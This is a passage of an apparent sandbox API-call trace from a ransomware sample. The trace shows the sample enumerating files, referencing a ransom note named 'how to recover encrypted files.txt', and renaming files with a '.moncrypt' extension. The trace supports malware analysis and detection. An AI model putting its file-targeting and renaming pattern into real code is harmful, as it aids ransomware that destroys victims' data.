lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png", cchWideChar=78, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.pngt", lpUsedDefaultChar=0x0) returned 78 [0057.903] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Memories\\16_9-frame-image-mask.pngt", lpUsedDefaultChar=0x0) returned 4 [0057.904] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 0x54e280 [0057.904] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.904] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.904] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.904] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png", dwFileAttributes=0x20) returned 0 [0057.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.904] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png.moncrypt")) returned 0 [0057.905] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1 [0057.905] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.905] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.905] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.905] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.905] GlobalUnlock (hMem=0x44000c) returned 0 [0057.905] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.905] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.905] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.905] GlobalUnlock (hMem=0x44000c) returned 0 [0057.905] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.905] GlobalUnlock (hMem=0x440004) returned 0 [0057.905] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.905] CharLowerBuffW (in: lpsz="16_9-frame-overlay.png", cchLength=0x16 | out: lpsz="16_9-frame-overlay.png") returned 0x16 [0057.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png", lpUsedDefaultChar=0x0) returned 75 [0057.906] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Memories\\16_9-frame-overlay.png", lpUsedDefaultChar=0x0) returned 4 [0057.906] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 0x54e280 [0057.906] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.906] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.907] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.907] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png", dwFileAttributes=0x20) returned 0 [0057.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.907] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png.moncrypt")) returned 0 [0057.907] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0057.907] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.907] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.907] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.907] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.908] GlobalUnlock (hMem=0x440004) returned 0 [0057.908] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.908] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.908] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.908] GlobalUnlock (hMem=0x440004) returned 0 [0057.908] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.908] GlobalUnlock (hMem=0x44000c) returned 0 [0057.908] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.908] CharLowerBuffW (in: lpsz="background.png", cchLength=0xe | out: lpsz="background.png") returned 0xe [0057.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png", cchWideChar=67, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png", lpUsedDefaultChar=0x0) returned 67 [0057.909] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Memories\\background.png", lpUsedDefaultChar=0x0) returned 4 [0057.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 0x54e280 [0057.909] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.909] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: 